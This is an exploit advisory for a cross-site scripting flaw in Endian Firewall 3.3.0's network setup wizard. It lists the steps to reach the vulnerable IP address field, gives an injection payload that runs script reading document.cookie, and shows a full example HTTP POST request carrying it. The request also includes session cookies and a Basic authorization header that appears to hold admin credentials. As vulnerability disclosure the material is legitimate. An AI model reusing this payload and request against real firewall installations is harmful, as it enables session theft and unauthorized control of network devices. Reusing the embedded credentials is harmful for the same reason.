Endian Firewall version 3.3.0 suffers from a cross site scripting vulnerability.
2dc274d1f115293fb370ca32fa329935# Exploit Title: Endian Firewall cross-site scripting (XSS)
# Date: 08/22/2019
# Exploit Authors: Milad Soltanian + G0dfather ( @irpwn )
# Vendor Homepage: https://www.endian.com
# Version : 3.3.0
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
1 - login
2 - open the url below to edit network configuration
3 - forward the step till u face Step 3/8: Network preferences
4 - now put the payload in IP address input
[PAYLOAD] = "><img src=aWd3l onerror=alert(document.cookie)><!--
[EXAMPLE REQUESTE]
POST /cgi-bin/netwizard.cgi HTTP/1.1
Host: 5.9.96.86:10443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
Authorization: Basic YWRtaW46bWEhQCM0NTY=
Connection: close
Referer: https://192.168.1.10:10443/cgi-bin/netwizard.cgi
Cookie: en-visit=216e4cac7868d0ca041c21489faa817d1a8faca5; session_id=2fcdb768fee725b270598427fa6f4ed10f6774ca; endian_webshell=354369204
Upgrade-Insecure-Requests: 1
session_id=174960656&step=3&DHCP_ENABLE_GREEN=on&DISPLAY_GREEN_ADDRESS=%22%3E%3Cimg+src%3DaWd3l+onerror%3Dalert%28document.cookie%29%3E%3C%21--&DISPLAY_GREEN_NETMASK=24&DISPLAY_GREEN_ADDITIONAL=&GREEN_DEVICES=0&HOSTNAME=efw-82aabd1d48&DOMAINNAME=localdomain&next=%3E%3E%3E